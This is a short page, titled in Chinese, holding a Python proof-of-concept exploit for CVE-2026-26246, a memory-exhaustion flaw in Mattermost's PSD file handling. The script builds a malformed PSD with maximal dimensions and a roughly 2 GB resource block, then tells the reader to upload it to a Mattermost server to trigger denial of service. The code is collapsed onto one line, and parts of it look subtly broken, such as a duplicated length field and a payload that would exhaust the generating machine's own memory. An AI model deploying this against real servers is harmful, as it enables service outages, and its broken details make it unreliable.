CVE-2026-26246: Mattermost PSD文件处理内存耗尽漏洞

import struct import os def create_malicious_psd(): """ Generate a malicious PSD file that can trigger memory exhaustion CVE-2026-26246 PoC """ # PSD file signature signature = b'8BPS' # Version (1 = PSD, 2 = PSB) version = struct.pack('>H', 1) # Reserved bytes (6 bytes) reserved = b'\x00' * 6 # Number of channels (1-56) num_channels = struct.pack('>H', 3) # Image height height = struct.pack('>I', 0x7FFFFFFF) # Large height value # Image width width = struct.pack('>I', 0x7FFFFFFF) # Large width value # Depth (1, 8, 16, or 32) depth = struct.pack('>H', 8) # Color mode (0 = Bitmap, 1 = Grayscale, etc.) color_mode = struct.pack('>H', 3) # Color mode section color_mode_length = struct.pack('>I', 0) color_mode_section = color_mode_length # Image resources section (with excessive data) image_resources = struct.pack('>I', 0x7FFFFFFF) + b'\xFF' * 0x7FFFFFFF # Layer and mask section layer_mask_section = struct.pack('>I', 0) # Composite image data composite_data = b'\x00' * 1024 # Construct the malicious PSD file psd_data = signature + version + reserved + num_channels + height + width + depth + color_mode psd_data += color_mode_section + struct.pack('>I', len(image_resources)) + image_resources psd_data += layer_mask_section + composite_data return psd_data # Generate and save the malicious PSD file malicious_psd = create_malicious_psd() with open('CVE-2026-26246_malicious.psd', 'wb') as f: f.write(malicious_psd) print('Malicious PSD file generated: CVE-2026-26246_malicious.psd') print('Upload this file to Mattermost server to trigger the vulnerability')